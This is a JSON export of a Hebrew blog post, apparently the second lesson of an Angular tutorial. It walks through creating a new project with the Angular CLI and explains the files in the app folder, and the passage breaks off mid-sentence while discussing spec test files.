{"id":357,"date":"2020-05-03T22:17:50","date_gmt":"2020-05-03T22:17:50","guid":{"rendered":"http:\/\/digitaltrends.co.il\/?p=357"},"modified":"2021-04-25T20:10:38","modified_gmt":"2021-04-25T20:10:38","slug":"%d7%9e%d7%93%d7%a8%d7%99%d7%9a-%d7%90%d7%a0%d7%92%d7%95%d7%9c%d7%a8-2-5-6-7-%d7%99%d7%a6%d7%99%d7%a8%d7%aa-%d7%90%d7%a4%d7%9c%d7%99%d7%a7%d7%a6%d7%99%d7%94-%d7%97%d7%93%d7%a9%d7%94","status":"publish","type":"post","link":"http:\/\/digitaltrends.co.il\/?p=357","title":{"rendered":"\u05de\u05d3\u05e8\u05d9\u05da \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 2+ (5, 6, 7) – \u05d9\u05e6\u05d9\u05e8\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d7\u05d3\u05e9\u05d4"},"content":{"rendered":"

\u05e9\u05d9\u05e2\u05d5\u05e8 2: \u05d9\u05e6\u05d9\u05e8\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d7\u05d3\u05e9\u05d4<\/h2>\n

\u05dc\u05d0\u05d7\u05e8 \u05e9\u05d4\u05d1\u05e0\u05d5 \u05d1\u05e4\u05d5\u05e1\u05d8 \u05d4\u05e7\u05d5\u05d3\u05dd<\/a> \u05d0\u05d9\u05da \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05e2\u05d5\u05d1\u05d3\u05ea, \u05d4\u05ea\u05e7\u05e0\u05d5 node, \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 CLI \u05d5\u05db\u05d5', \u05d1\u05d5\u05d0\u05d5 \u05e0\u05ea\u05d7\u05d9\u05dc \u05dc\u05d1\u05e0\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8.<\/p>\n

\u05d4\u05e9\u05dc\u05d1 \u05d4\u05e8\u05d0\u05e9\u05d5\u05df:<\/strong><\/p>\n

\u05e0\u05e4\u05ea\u05d7 \u05d0\u05ea \u05d4\u05d8\u05e8\u05de\u05d9\u05e0\u05dc \/ cmd. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05e2\u05d1\u05d5\u05d3 \u05de\u05db\u05dc \u05ea\u05d9\u05e7\u05d9\u05d9\u05d4, \u05d0\u05e0\u05d9 \u05d0\u05d5\u05d4\u05d1 \u05dc\u05e1\u05d3\u05e8 \u05d0\u05ea \u05d4\u05ea\u05d9\u05e7\u05d9\u05d5\u05ea \u05e9\u05dc\u05d9 \u05e2\u05dc \u05d4\u05de\u05d7\u05e9\u05d1, \u05d0\u05d6 \u05d9\u05e9 \u05dc\u05d9 \u05ea\u05d9\u05e7\u05d9\u05d4 \u05e9\u05e0\u05e7\u05e8\u05d0\u05ea Angular5. \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05d2\u05dd \u05dc\u05e7\u05e8\u05d5\u05d0 \u05dc\u05ea\u05d9\u05e7\u05d9\u05d9\u05d4 \u05d0\u05e6\u05dc\u05db\u05dd \u05e2\u05dc \u05d4\u05de\u05d7\u05e9\u05d1 Shmulik…<\/p>\n

\u05d0\u05e0\u05d9 \u05e0\u05db\u05e0\u05e1 \u05dc\u05ea\u05d9\u05e7\u05d9\u05d4 \u05d3\u05e8\u05da \u05d4 – cmd. \u05e0\u05d9\u05d5\u05d5\u05d8 \u05d1 – dos shell \u05de\u05ea\u05d1\u05e6\u05e2 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05e4\u05e7\u05d5\u05d3\u05d5\u05ea. \u05d1\u05e2\u05d6\u05e8\u05ea \u05d4\u05e4\u05e7\u05d5\u05d3\u05d4 cd \u05e0\u05d9\u05ea\u05df \u05dc\u05e0\u05d5\u05d5\u05d8 \u05d1\u05d9\u05df \u05d4\u05ea\u05d9\u05e7\u05d9\u05d5\u05ea \u05d4\u05e9\u05d5\u05e0\u05d5\u05ea.<\/p>\n

\u05d1\u05ea\u05d9\u05e7\u05d9\u05d9\u05ea \u05d4\u05d1\u05e1\u05d9\u05e1 \u05e0\u05e8\u05e9\u05d5\u05dd \u05d0\u05ea \u05d4\u05e4\u05e7\u05d5\u05d3\u05d4 \u05d4\u05d1\u05d0\u05d4:<\/p>\n

ng new app-name<\/pre>\n
 <\/p>\n
\"\"<\/p>\n
\u05db\u05e2\u05ea, Angular CLI \u05d9\u05e9\u05d0\u05dc \u05d0\u05d5\u05ea\u05e0\u05d5 \u05d0\u05dd \u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05e2\u05d5\u05e0\u05d9\u05d9\u05e0\u05d9\u05dd \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05e8\u05d0\u05d5\u05d8\u05e8 \u05dc\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 – \u05d5\u05d0\u05e0\u05d9 \u05d0\u05d5\u05de\u05e8, \u05db\u05df. \u05dc\u05de\u05d4 \u05dc\u05d0? \u05dc\u05e8\u05d5\u05d1 \u05e0\u05e9\u05ea\u05de\u05e9 \u05d1\u05e8\u05d0\u05d5\u05d8\u05e8. \u05d2\u05dd \u05d0\u05dd \u05dc\u05d0, \u05d9\u05e9 \u05de\u05e6\u05d1 \u05e9\u05d1\u05e2\u05ea\u05d9\u05d3 \u05db\u05df. \u05d0\u05d6 \u05d0\u05e0\u05d9 \u05d1\u05d5\u05d7\u05e8 \u05db\u05df: y. \u05d1\u05d4\u05de\u05e9\u05da \u05e0\u05dc\u05de\u05d3 \u05e2\u05dc \u05d4\u05e8\u05d0\u05d5\u05d8\u05e8.<\/p>\n
\"\" \u05d1\u05d4\u05de\u05e9\u05da, \u05e0\u05d9\u05e9\u05d0\u05dc \u05d0\u05d9\u05d6\u05d4 \u05d2\u05dc\u05d9\u05d5\u05df \u05e2\u05d9\u05e6\u05d5\u05d1 (stylesheet) \u05e0\u05e8\u05e6\u05d4 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 – css \u05d0\u05d5 pre compiled css. \u05d0\u05e0\u05d9 \u05d0\u05d9\u05e9\u05d9\u05ea \u05d0\u05d5\u05d4\u05d1 \u05dc\u05e2\u05d1\u05d5\u05d3 \u05e2\u05dd scss, \u05d0\u05d1\u05dc \u05db\u05dc \u05d0\u05d7\u05d3 \u05d9\u05d1\u05d7\u05e8 \u05de\u05d4 \u05e9\u05d1\u05d0 \u05dc\u05d5.\"\" \u05dc\u05d0\u05d7\u05e8 \u05e9\u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05de\u05d5\u05db\u05e0\u05d4 \u05e0\u05db\u05e0\u05e1 \u05dc\u05ea\u05d9\u05e7\u05d9\u05d9\u05d4 \u05e9\u05dc \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4:\"\"\u05db\u05e2\u05ea \u05e0\u05e8\u05d9\u05e5 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d1\u05e4\u05e2\u05dd \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d4\u05e4\u05e7\u05d5\u05d3\u05d4:<\/p>\n
ng open --serve<\/pre>\n
 <\/p>\n
\u05e0\u05e7\u05d1\u05dc \u05d0\u05ea \u05d4\u05de\u05e1\u05da \u05d4\u05d1\u05d0:<\/p>\n
\"\"
\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05ea \u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc<\/p><\/div>\n
\u05d6\u05d5\u05d4\u05d9 \u05dc\u05de\u05e2\u05e9\u05d4 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d1\u05e8\u05d9\u05e8\u05ea \u05d4\u05de\u05d7\u05d3\u05dc \u05e9\u05d4\u05e6\u05d5\u05d5\u05ea \u05e9\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d4\u05db\u05d9\u05df. \u05d0\u05e4\u05e9\u05e8 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05d4 \u05db\u05d1\u05e1\u05d9\u05e1 \u05dc\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05d0\u05d7\u05e8\u05d5\u05ea \u05e9\u05e0\u05e4\u05ea\u05d7, \u05d0\u05d5 \u05dc\u05de\u05d7\u05d5\u05e7 \u05dc\u05d2\u05de\u05e8\u05d9 \u05d5\u05dc\u05d1\u05e0\u05d5\u05ea \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05e0\u05d5. \u05d1\u05d3\u05e8\u05da \u05db\u05dc\u05dc \u05d0\u05e0\u05d9 \u05de\u05d5\u05d7\u05e7 \u05dc\u05d2\u05de\u05e8\u05d9 \u05d5\u05d1\u05d5\u05e0\u05d4 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05e9\u05dc\u05d9 \u05de\u05d4\u05d1\u05e1\u05d9\u05e1. \u05de\u05d4 \u05e9\u05db\u05df, \u05d0\u05e4\u05e9\u05e8 \u05dc\u05dc\u05de\u05d5\u05d3 \u05de\u05d4\u05e7\u05d5\u05d3, \u05d5\u05d0\u05dd \u05e8\u05d5\u05e6\u05d9\u05dd \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05d7\u05dc\u05e7 \u05de\u05d4\u05e7\u05d5\u05d3 (\u05d0\u05d5 \u05db\u05d5\u05dc\u05d5) \u05dc\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05e9\u05dc\u05db\u05dd.<\/p>\n
\u05d0\u05d6 \u05d1\u05e9\u05dc\u05d1 \u05e8\u05d0\u05e9\u05d5\u05df \u05e0\u05e4\u05ea\u05d7 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 src\/app\/app.component.html \u05d5\u05e4\u05e9\u05d5\u05d8 \u05e0\u05de\u05d7\u05e7 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df \u05d4\u05e0\u05d5\u05db\u05d7\u05d9 \u05e9\u05dc\u05d5. \u05e2\u05db\u05e9\u05d9\u05d5 \u05e0\u05d5\u05db\u05dc \u05dc\u05d4\u05ea\u05d7\u05d9\u05dc \u05dc\u05db\u05ea\u05d5\u05d1 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d3 \u05e9\u05dc\u05e0\u05d5.<\/p>\n
\u05d0\u05d1\u05dc \u05dc\u05e4\u05e0\u05d9 \u05db\u05df, \u05d1\u05d5\u05d0\u05d5 \u05e0\u05d1\u05d9\u05df \u05d0\u05d9\u05d6\u05d4 \u05e7\u05d1\u05e6\u05d9\u05dd \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05db\u05e8\u05d2\u05e2 \u05d1\u05ea\u05d9\u05e7\u05d9\u05d9\u05d4 app:<\/p>\n
app.component.html<\/p>\n
app.component.ts<\/p>\n
app.component.spec.ts<\/p>\n
app.component.scss<\/p>\n
app.module.ts<\/p>\n
app-routing.module.ts<\/p>\n
\u05db\u05e4\u05d9 \u05e9\u05e6\u05d9\u05d9\u05e0\u05d5 \u05d1\u05e4\u05e8\u05e7 \u05e7\u05d5\u05d3\u05dd, \u05d0\u05e4\u05dc\u05d9\u05e7\u05d9\u05d9\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05de\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd \u05d5\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea. \u05db\u05da, \u05d0\u05e0\u05d5 \u05d9\u05d5\u05e6\u05e8\u05d9\u05dd \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05de\u05d5\u05d3\u05d5\u05dc\u05e8\u05d9\u05ea. \u05d1\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea \u05d0\u05d9\u05df \u05dc\u05d6\u05d4 \u05d4\u05e8\u05d1\u05d4 \u05de\u05e9\u05de\u05e2\u05d5\u05ea. \u05d0\u05d1\u05dc \u05db\u05d0\u05e9\u05e8 \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d2\u05d3\u05dc\u05d4, \u05d5\u05e0\u05d5\u05e1\u05e4\u05d9\u05dd \u05d3\u05e4\u05d9\u05dd, \u05d5\u05d1\u05e1\u05d9\u05e1 \u05d4\u05e7\u05d5\u05d3 \u05d2\u05d3\u05dc, \u05d5\u05de\u05d5\u05e1\u05d9\u05e4\u05d9\u05dd \u05e2\u05d5\u05d3 \u05d5\u05e2\u05d5\u05d3 \u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9\u05dd \u05d5\u05de\u05d9\u05d3\u05e2 \u05dc\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4, \u05de\u05d2\u05dc\u05d9\u05dd \u05e9\u05d4\u05e8\u05d1\u05d4 \u05d9\u05d5\u05ea\u05e8 \u05e7\u05dc \u05d5\u05e0\u05d5\u05d7 \u05dc\u05ea\u05d7\u05d6\u05e7 \u05d5\u05dc\u05d4\u05de\u05e9\u05d9\u05da \u05dc\u05e4\u05ea\u05d7 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05de\u05d5\u05d3\u05d5\u05dc\u05e8\u05d9\u05ea. \u05db\u05da, \u05d0\u05dd \u05e8\u05d5\u05e6\u05d9\u05dd \u05dc\u05e2\u05d3\u05db\u05df \u05d7\u05dc\u05e7 \u05db\u05dc\u05e9\u05d4\u05d5 \u05d1\u05d0\u05ea\u05e8 \/ \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4, \u05e4\u05e9\u05d5\u05d8 \u05e2\u05d5\u05d1\u05d3\u05d9\u05dd \u05e2\u05dc \u05d4\u05de\u05d5\u05d3\u05d5\u05dc \/ \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d4\u05e1\u05e4\u05e6\u05d9\u05e4\u05d9\u05ea \u05de\u05d4 \u05e9\u05de\u05e7\u05dc \u05de\u05d0\u05d5\u05d3 \u05e2\u05dc \u05e2\u05d1\u05d5\u05d3\u05ea \u05d4\u05e4\u05d9\u05ea\u05d5\u05d7 \u05d5\u05d4\u05ea\u05d7\u05d6\u05d5\u05e7\u05d4 \u05d4\u05e9\u05d5\u05d8\u05e4\u05ea. \u05d1\u05e0\u05d5\u05e1\u05e3, \u05e7\u05dc \u05d4\u05e8\u05d1\u05d4 \u05d9\u05d5\u05ea\u05e8 \u05dc\u05d1\u05e6\u05e2 \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea – testing.<\/p>\n
\u05d1\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05d6\u05d4 \u05e2\u05ea\u05d4 \u05d9\u05e6\u05e8\u05e0\u05d5 \u05d9\u05e9 \u05de\u05d5\u05d3\u05d5\u05dc \u05d0\u05d7\u05d3 \u05d5\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d0\u05d7\u05ea, \u05d0\u05da \u05d6\u05d4\u05d5 \u05e8\u05e7 \u05d4\u05d1\u05e1\u05d9\u05e1. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea, \u05e0\u05d9\u05ea\u05df \u05dc\u05e4\u05ea\u05d7 \u05d0\u05ea\u05e8 \u05e9\u05dc\u05dd \/ \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05de\u05d4 \u05e2\u05dd \u05de\u05d5\u05d3\u05d5\u05dc \u05d0\u05d7\u05d3 \u05d1\u05dc\u05d1\u05d3. \u05d0\u05d1\u05dc \u05d6\u05d4 \u05dc\u05d0 \u05de\u05d5\u05de\u05dc\u05e5. \u05db\u05e4\u05d9 \u05e9\u05e6\u05d9\u05d9\u05e0\u05d5, \u05dc\u05db\u05dc \u05d0\u05ea\u05e8 \/ \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d9\u05e9 \u05e4\u05d5\u05d8\u05e0\u05e6\u05d9\u05d0\u05dc \u05dc\u05d2\u05d3\u05d5\u05dc \u05d5\u05dc\u05d4\u05ea\u05e4\u05ea\u05d7. \u05dc\u05db\u05df, \u05d7\u05e9\u05d5\u05d1 \u05dc\u05e2\u05d1\u05d5\u05d3 \u05e0\u05db\u05d5\u05df. \u05d0\u05e0\u05d9 \u05d0\u05d9\u05e9\u05d9\u05ea, \u05d2\u05dd \u05db\u05e9\u05d0\u05e0\u05d9 \u05de\u05e4\u05ea\u05d7 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e7\u05d8\u05e0\u05d4 \u05d9\u05d7\u05e1\u05d9\u05ea, \u05d0\u05e0\u05d9 \u05de\u05e7\u05e4\u05d9\u05d3 \u05dc\u05d7\u05dc\u05e7 \u05d0\u05d5\u05ea\u05d4 \u05dc\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd, \u05d5\u05dc\u05d9\u05d9\u05e9\u05dd \u05d0\u05ea \u05d4\u05e4\u05e8\u05e7\u05d8\u05d9\u05e7\u05d5\u05ea \u05d4\u05d8\u05d5\u05d1\u05d5\u05ea \u05d1\u05d9\u05d5\u05ea\u05e8 (Best practice). \u05d2\u05dd \u05d0\u05ea\u05dd \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05dc\u05d0\u05de\u05e5 \u05d0\u05ea \u05d4\u05d2\u05d9\u05e9\u05d4 \u05d4\u05d6\u05d5.<\/p>\n
\u05d1\u05d5\u05d0\u05d5 \u05e0\u05e8\u05d0\u05d4 \u05e2\u05db\u05e9\u05d9\u05d5 \u05d1\u05e4\u05d9\u05e8\u05d5\u05d8, \u05de\u05d4 \u05d4\u05ea\u05e4\u05e7\u05d9\u05d3 \u05e9\u05dc \u05db\u05dc \u05e7\u05d5\u05d1\u05e5 \u05d1\u05ea\u05e7\u05d9\u05d9\u05d4 app:<\/p>\n
\u05db\u05dc \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d1\u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05de\u05d0\u05e8\u05d1\u05e2\u05d4 \u05e7\u05d1\u05e6\u05d9\u05dd: view, \u05e9\u05d4\u05d5\u05d0 \u05e7\u05d5\u05d1\u05e5 html. \u05de\u05d7\u05dc\u05e7\u05d4, \u05e9\u05d4\u05d9\u05d0 \u05e7\u05d5\u05d1\u05e5 TypeScript, \u05e9\u05d6\u05d4 \u05dc\u05de\u05e2\u05e9\u05d4 \u05d4\u05e7\u05d5\u05d3 \u05de\u05d0\u05d7\u05d5\u05e8\u05d9 \u05e7\u05d5\u05d1\u05e5 \u05d4 – html. \u05d2\u05d9\u05dc\u05d9\u05d5\u05df \u05e2\u05d9\u05e6\u05d5\u05d1, \u05e9\u05d4\u05d5\u05d0 \u05e7\u05d5\u05d1\u05e5 \u05d4 – css (\u05d0\u05d5 .scss \u05dc\u05de\u05e9\u05dc \u05d1\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05e0\u05d5 – \u05e9\u05d6\u05d4 \u05dc\u05de\u05e2\u05e9\u05d4 \u05db\u05de\u05d5 css \u05e8\u05e7 \u05de\u05d4\u05d5\u05d3\u05e8 \u05de\u05e8\u05d0\u05e9 – Pre-Processor), \u05d5\u05e7\u05d5\u05d1\u05e5 spec \u05e9\u05d6\u05d4 \u05d4 – testing – \u05e0\u05dc\u05de\u05d3 \u05e2\u05dc \u05d6\u05d4 \u05d1\u05d4\u05de\u05e9\u05da. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea \u05db\u05e8\u05d2\u05e2 \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05ea\u05e2\u05dc\u05dd, \u05db\u05d9 \u05d6\u05d4 \u05dc\u05d0 \u05de\u05e9\u05e4\u05d9\u05e2 \u05d9\u05e9\u05d9\u05e8\u05d5\u05ea \u05e2\u05dc \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05d0\u05d1\u05dc \u05d9\u05e9 \u05dc\u05d6\u05d4 \u05d7\u05e9\u05d9\u05d1\u05d5\u05ea \u05de\u05d0\u05d5\u05d3 \u05d2\u05d3\u05d5\u05dc\u05d4. \u05e0\u05dc\u05de\u05d3 \u05d1\u05d4\u05de\u05e9\u05da. \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d4\u05ea\u05d7\u05ea\u05d5\u05e0\u05d4 \u05d4\u05d9\u05d0 \u05e9\u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05e4\u05ea\u05d7 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05de\u05d4 \u05d1\u05dc\u05d9 \u05dc\u05d2\u05e2\u05ea \u05d1\u05e7\u05d1\u05e6\u05d9 spec, \u05d0\u05d1\u05dc \u05d6\u05d4 \u05db\u05de\u05d5\u05d1\u05df \u05dc\u05d0 \u05de\u05d5\u05de\u05dc\u05e5. \u05d1\u05e7\u05e6\u05e8\u05d4: \u05e7\u05d1\u05e6\u05d9 spec \u05d0\u05dc\u05d5 \u05e7\u05d1\u05e6\u05d9 \u05d4\u05d1\u05d3\u05d9\u05e7\u05d5\u05ea – testing \u05e9\u05de\u05e8\u05d9\u05e6\u05d9\u05dd, \u05e2\u05dc \u05de\u05e0\u05ea \u05dc\u05d5\u05d5\u05d3\u05d0 \u05e9\u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e4\u05d5\u05e2\u05dc\u05ea \u05d1\u05dc\u05d9 \u05e9\u05d2\u05d9\u05d0\u05d5\u05ea \u05d5\u05d1\u05d0\u05d2\u05d9\u05dd.<\/p>\n
app.component.html:<\/p>\n
\u05e7\u05d5\u05d1\u05e5 \u05d4- html \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05dc\u05db\u05df \u05d4\u05e1\u05d9\u05d5\u05de\u05ea \u05e9\u05dc\u05d5 \u05d4\u05d9\u05d0 html. \u05e0\u05e7\u05e8\u05d0 \u05d2\u05dd \u05d4 – view. \u05d1\u05e7\u05d5\u05d1\u05e5 \u05d4\u05d6\u05d4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05db\u05d5\u05ea\u05d1\u05d9\u05dd \u05d0\u05ea \u05d4 – html.<\/p>\n
app.component.ts:<\/p>\n
\u05de\u05db\u05d9\u05dc \u05d0\u05ea \u05de\u05d7\u05dc\u05e7\u05ea \u05d4 – Typescript. \u05dc\u05de\u05e2\u05e9\u05d4 \u05d4\u05e7\u05d5\u05d3 \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05db\u05db\u05dc\u05dc \u05e2\u05d5\u05d1\u05d3\u05ea \u05d1\u05de\u05d5\u05d3\u05dc \u05e9\u05dc MVVM: Model View View Model. \u05d6\u05d4 \u05de\u05d1\u05e0\u05d4 \u05d1\u05d5 \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05de\u05d5\u05d3\u05dc – \u05db\u05dc\u05d5\u05de\u05e8, \u05d4\u05e0\u05ea\u05d5\u05e0\u05d9\u05dd \u05d5\u05d4\u05e7\u05d5\u05d3, \u05e9\u05de\u05d5\u05e4\u05e8\u05d3 \u05de\u05d4 – view, \u05d4\u05dc\u05d0 \u05d4\u05d5\u05d0 \u05d4 – html.<\/p>\n
app.component.scss:<\/p>\n
\u05d2\u05d9\u05dc\u05d9\u05d5\u05df \u05d4\u05e2\u05d9\u05e6\u05d5\u05d1 \u05e9\u05dc \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4. \u05d1\u05d3\u05d9\u05d5\u05e7 \u05db\u05de\u05d5 \u05e9\u05d9\u05e9 \u05dc\u05e0\u05d5 \u05d2\u05d9\u05dc\u05d9\u05d5\u05df \u05e2\u05d9\u05e6\u05d5\u05d1 \u05dc\u05db\u05dc \u05d0\u05ea\u05e8 \u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8 \u05e9\u05d0\u05e0\u05d7\u05e0\u05d5 \u05de\u05db\u05d9\u05e8\u05d9\u05dd. \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea \u05d1\u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05db\u05e4\u05d9 \u05e9\u05db\u05d1\u05e8 \u05e6\u05d9\u05d9\u05e0\u05d5, \u05d4\u05dd \u05d9\u05d7\u05d9\u05d3\u05d5\u05ea \u05e2\u05e6\u05de\u05d0\u05d9\u05d5\u05ea. \u05dc\u05db\u05df, \u05dc\u05db\u05dc \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d4 \u05d9\u05e9 \u05de\u05d7\u05dc\u05e7\u05ea Typescript, \u05d4 – class. \u05d0\u05ea \u05d4 – view, \u05d4\u05dc\u05d0 \u05d4\u05d5\u05d0 \u05e7\u05d5\u05d1\u05e5 \u05d4 – html. \u05d5\u05d2\u05d9\u05dc\u05d9\u05d5\u05df \u05d4\u05e2\u05d9\u05e6\u05d5\u05d1, \u05d4 – css (\u05d1\u05d3\u05d5\u05d2\u05de\u05d4 \u05e9\u05dc\u05e0\u05d5 \u05d1\u05d7\u05e8\u05e0\u05d5 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1 – scss).<\/p>\n
app.component.spec.ts:<\/p>\n
\u05d9\u05d7\u05d9\u05d3\u05ea \u05d4\u05d1\u05d3\u05d9\u05e7\u05d4. \u05db\u05d0\u05e9\u05e8 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d1\u05d5\u05e0\u05d9\u05dd \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d2\u05d3\u05d5\u05dc\u05d4 \u05e2\u05dd \u05d4\u05e8\u05d1\u05d4 \u05e7\u05d5\u05d3 \u05d5\u05d4\u05e8\u05d1\u05d4 \u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9\u05dd, \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05dc\u05d1\u05d3\u05d5\u05e7 \u05e9\u05d4\u05e7\u05d5\u05d3 \u05d1\u05d0\u05de\u05ea \u05e2\u05d5\u05d1\u05d3, \u05ea\u05e7\u05d9\u05df, \u05d1\u05dc\u05d9 \u05d1\u05d0\u05d2\u05d9\u05dd \u05d5\u05db\u05d5\u05f3. \u05dc\u05e9\u05dd \u05db\u05da, \u05db\u05d5\u05ea\u05d1\u05d9\u05dd \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea \u05d9\u05d7\u05d9\u05d3\u05d4. \u05dc\u05d3\u05d5\u05d2\u05de\u05d0, \u05d0\u05dd \u05d9\u05e9 \u05dc\u05e0\u05d5 \u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d4 \u05e9\u05de\u05d1\u05e6\u05e2\u05ea \u05e4\u05e2\u05d5\u05dc\u05ea \u05d7\u05d9\u05d1\u05d5\u05e8 \u05e2\u05dc \u05e9\u05e0\u05d9 \u05de\u05e1\u05e4\u05e8\u05d9\u05dd, \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e0\u05db\u05ea\u05d5\u05d1 \u05d9\u05d7\u05d9\u05d3\u05ea \u05d1\u05d3\u05d9\u05e7\u05d4 \u05dc\u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d4 \u05e9\u05de\u05e7\u05d1\u05dc\u05ea \u05e9\u05e0\u05d9 \u05de\u05e1\u05e4\u05e8\u05d9\u05dd \u05db\u05e7\u05dc\u05d8 – \u05e0\u05e0\u05d9\u05d7 1 \u05d5 – 2. \u05d5\u05d0\u05d6 \u05e0\u05d1\u05d3\u05d5\u05e7 \u05d0\u05dd \u05d4\u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d4 \u05de\u05d7\u05d6\u05d9\u05e8\u05d4 3. \u05e0\u05e9\u05de\u05e2 \u05d8\u05e8\u05d9\u05d5\u05d5\u05d9\u05d0\u05dc\u05d9 \u05dc\u05d2\u05de\u05e8\u05d9, \u05d0\u05da \u05db\u05db\u05dc \u05e9\u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d2\u05d3\u05dc\u05d4 \u05d5\u05de\u05ea\u05e4\u05ea\u05d7\u05ea 